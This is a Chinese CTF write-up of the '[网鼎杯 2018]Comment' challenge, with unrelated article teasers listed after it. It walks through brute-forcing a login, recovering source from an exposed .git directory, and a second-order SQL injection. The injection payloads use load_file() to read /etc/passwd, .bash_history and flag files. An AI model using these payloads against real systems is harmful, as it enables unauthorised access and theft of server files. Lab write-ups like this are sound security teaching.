[网鼎杯 2018]Comment

news2024/12/28 4:08:26

使用环境为https://adworld.xctf.org.cn/challenges,搜索题目[网鼎杯 2018]Comment。

进入环境,发现为一个留言板,点击发帖试试。

在这里插入图片描述

尝试发帖

在这里插入图片描述

跳转到登录页面,根据提示使用burp进行暴力破解。

在这里插入图片描述

发现payload为666时状态码不同。

在这里插入图片描述

尝试密码为zhangwei666发现登录成功。

使用awvs进行扫描。发现存在.git目录,并且存在git泄露漏洞。尝试使用githacker恢复源码。

在这里插入图片描述

刚恢复完是一段残缺的代码,需要进行恢复到完整代码

git log --reflog
git reset --hard 版本

完整源码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

分析代码可知,当do=write时,传入的参数中的单引号均被过滤掉,而当do=comment时,category被直接拿来用,没有被过滤单引号,那么二次注入点就在此。

构建payload:

在do=write时,title和content随便写,将category写成下面payload

',content=database(),/*

然后在do=comment时,将content写成

*/#

也就合成了一个查询函数

    $sql = "insert into comment
            set category = '',content=database(),/*',
                content = '*/#',
                bo_id = '$bo_id'";

查询flag是根据网上的资料查找的。

查看当前登录的用户

',content=user(),/*

在这里插入图片描述

得知使用者是root权限

sql注入读取本地文件,使用load_file()
/etc/passwd这里存储用户信息

',content=(select load_file('/etc/passwd')),/*

在这里插入图片描述

有一个www用户,查看bash_history

',content=(select load_file('/home/www/.bash_history')),/*

在这里插入图片描述

发现有一操作rm -f .DS_Store删除了.DS_Store这个文件。而 .DS_Store 文件中,经常会有一些不可见的字符,可以使用hex函数对其进行16进制转换。

',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

在这里插入图片描述

全部复制并且进行ascii 十六进制解码。

在这里插入图片描述

发现有一段flag_8946e1ff1ee3e40f.php,尝试查看这个文件

',content=(select load_file('/tmp/html/flag_8946e1ff1ee3e40f.php')),/*

在这里插入图片描述

发现为空,那就加上hex尝试

',content=(select hex(load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'))),/*

在这里插入图片描述

解码

在这里插入图片描述

得到结果

<?php
$flag = 'flag{f9ca1a6b-9d78-11e8-90a3-c4b301b7b99b}';
?>

但是提交答案发现是假的,尝试其他目录

',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

在这里插入图片描述

解码

在这里插入图片描述

<?php
	$flag="flag{0dd14aae81d94904b3492117e2a3d4df}";
?>

ee3e40f.php’))),/*


[外链图片转存中...(img-EZ2sqSXR-1722830529065)]

解码

[外链图片转存中...(img-OSTJQXO8-1722830529065)]

<?php $flag="flag{0dd14aae81d94904b3492117e2a3d4df}"; ?>

得到正确的flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1983504.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Flutter 自定义字体】等宽字体等

一般如果涉及自定义字体、等宽字体&#xff0c;我们通常使用到 Google 提供的&#xff1a;https://fonts.google.com/&#xff08;可能需要魔法&#xff09;&#xff0c; 1 如果是等宽字体&#xff0c;搜索关键词 ”mono“ 就会发现有很多&#xff1a; 2 我们可以直接选择第一…

nuScenes数据集及mmdetection3d中的相关处理

1. nuScence数据集简单介绍 数据集官网&#xff1a;https://www.nuscenes.org 论文&#xff1a;https://arxiv.org/abs/1903.11027 官方github页面&#xff1a;GitHub - nutonomy/nuscenes-devkit: The devkit of the nuScenes dataset. 1.1 坐标系的定义 nuScence数据集共…

cpp学习记录06:文件操作与模板

文件操作 对文件操作需要包含头文件<fstream> 文件类型&#xff1a; 文本文件&#xff1a;以文本ASCII码形式储存 二进制文件&#xff1a;以文本的二进制形式储存 操作文件三大类&#xff1a; ofstream&#xff1a;写操作 ifstream&#xff1a;读操作 fstream&…

以知识图谱结构为Prompt框架,帮LLM快速找出因果关系生成更精准内容

因果关系提取一直是LLM领域一个热门的研究方向&#xff0c;正如我上一篇文章中介绍的&#xff0c;我们在制定决策和科学研究时&#xff0c;往往需要LLM具有非常稳健的因果推理能力。幸运的是&#xff0c;恰巧知识图谱结构作为Prompt(“KG Structure as Prompt”&#xff09;能够…

做一个能和你互动玩耍的智能机器人之六-装配

openbot小车&#xff0c;最简单的配件。一个小车支架或者底盘&#xff0c;四个马达&#xff0c;最好是双层的&#xff0c;下层安装马在&#xff0c;上层电池和电源盒&#xff0c;L298N&#xff0c;arduino&#xff0c;手机支架&#xff0c;根据需要配置蓝牙&#xff0c;超声波等…

Arrays、Lambda表达式、Collection集合

1. Arrays 1.1 操作数组的工具类 方法名说明public static String toString(数组)把数组拼接成一个字符串public static int binarySearch(数组,查找的元素)二分查找法查找元素public static int[] copyOf(原数组,新数组长度)拷贝数组public static int[] copyOfRange(原数组…

接口自动化测试mock框架模块实战

前言 mock的介绍 py3已将mock集成到unittest库中&#xff1b; 为的就是更好的进行单元测试&#xff1b; 简单理解&#xff0c;模拟接口返回参数&#xff1b; 通俗易懂&#xff0c;直接修改接口返回参数的值&#xff1b; mock的作用 1、解决依赖问题&#xff0c;达到解耦作用…

基于Spring前后端分离版本的论坛

基于Spring前后端分离版本的论坛系统 PP论坛地址系统设计逻辑交互图数据库设计工程结构概述注册功能实现展示注册交互图参数要求接口规范后端具体实现前端数据集成 接口拦截器实现mybatis生成类与映射文件改造session存储到 redis加盐算法实现部分Bug调试记录项目测试记录Postm…

关于正点原子imx6ull-mini在写触摸驱动时,一直挂载不上驱动,就是没有一些信息反馈

/** 设备树匹配表 */ const struct of_device_id gt9147_of_match_table[] {{.compatible "goodix,gt9147" },{ /* sentinel */ } };const struct of_device_id gt9147_of_match_table[] {{.compatible "goodix&#xff0c;gt9147"},{} }; 找了俩小时…

高频面试题全攻略:从算法到解题技巧

干货分享&#xff0c;感谢您的阅读&#xff01; &#xff08;暂存篇---后续会删除&#xff0c;完整版和持续更新见高频面试题基本总结回顾&#xff08;含笔试高频算法整理&#xff09;&#xff09; 备注&#xff1a;引用请标注出处&#xff0c;同时存在的问题请在相关博客留言…

基于宝塔面板稳定快速安装 ssl 证书脚本

背景 我通过AI制作了不少关于签发ssl证书的脚本&#xff0c;目的是方便无脑安装&#xff0c;不需要懂代码。 但全都是基于acme.sh这个工具来设计的脚本&#xff0c;而且证书申请有点慢&#xff0c;有时还会申请失败。 然后我发现了certbot, 安装证书可谓神速&#xff01; c…

[米联客-安路飞龙DR1-FPSOC] UDP通信篇连载-04 IP层程序设计

软件版本&#xff1a;Anlogic -TD5.9.1-DR1_ES1.1 操作系统&#xff1a;WIN10 64bit 硬件平台&#xff1a;适用安路(Anlogic)FPGA 实验平台&#xff1a;米联客-MLK-L1-CZ06-DR1M90G开发板 板卡获取平台&#xff1a;https://milianke.tmall.com/ 登录“米联客”FPGA社区 ht…

全面解析PHP反序列化漏洞:原理、复现与防御

文章目录 概念序列化数据的含义魔术方法魔术方法的使用construct&#xff0c;destructtoStringcallgetsetsleepwakeupissetunsetinvoke 原生态反序列化漏洞概念种类复现 wakeup长度绕过产生原因条件复现 基本题型源码解读 在Web应用安全领域&#xff0c;PHP反序列化漏洞常常被视…

Tomcat 使用和配置文件(详解)

一.tomcat 介绍 1. tomcat 概述 自从JSP发布之后&#xff0c;推出了各式各样的JSP引擎。Apache Group在完成GNUJSP1.0的开发以后&#xff0c;开始考虑在SUN的JSWDK基础上开发一个可以直接提供Web服务的JSP服务器&#xff0c;当然同时也支持 Servlet&#xff0c;这样Tomcat就诞…

MySQL数据库误删恢复--超详细

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:Linux运维老纪的首页…

Tensorflow——第三讲神经网络八股

前两讲我们学习了使用tensorflow原生代码搭建神经网络&#xff0c;本讲主要学习使用Tensorflow API&#xff1a;tf.keras搭建神经网络 一、搭建网络八股Sequential 六步法&#xff1a; 1.import&#xff1a;import 相关模块&#xff0c;如 import tensorflow as tf 2.train…

2024年7月30日~2024年8月5日周报

一、前言 上周继续修改论文&#xff0c;并阅读了两篇论文。 本周主要修改论文、完成实验、参加一些组会与论文讨论会&#xff0c;并配置了torch环境。 二、完成情况 2.1 论文符号系统注意事项 数学符号应该有唯一性&#xff0c;不能与其他符号造成误解&#xff1b;W_{\mathr…

c++初阶-----适配器---priority_queue

作者前言 &#x1f382; ✨✨✨✨✨✨&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f382; ​&#x1f382; 作者介绍&#xff1a; &#x1f382;&#x1f382; &#x1f382; &#x1f389;&#x1f389;&#x1f389…

极狐GitLab CICD Catalog Beta 功能介绍

极狐GitLab 是 GitLab 在中国的发行版&#xff0c;专门面向中国程序员和企业提供企业级一体化 DevOps 平台&#xff0c;用来帮助用户实现需求管理、源代码托管、CI/CD、安全合规&#xff0c;而且所有的操作都是在一个平台上进行&#xff0c;省事省心省钱。可以一键安装极狐GitL…

【Python】数据类型之列表(下)

&#xff08;6&#xff09;清空列表 功能&#xff1a;clear() 代码示例&#xff1a; &#xff08;7&#xff09;根据值获取索引&#xff08;从左到右找到第一个返回索引&#xff09;【慎用&#xff0c;找不到报错】 功能&#xff1a;index(xyz)&#xff0c;xyz为数据类型。 …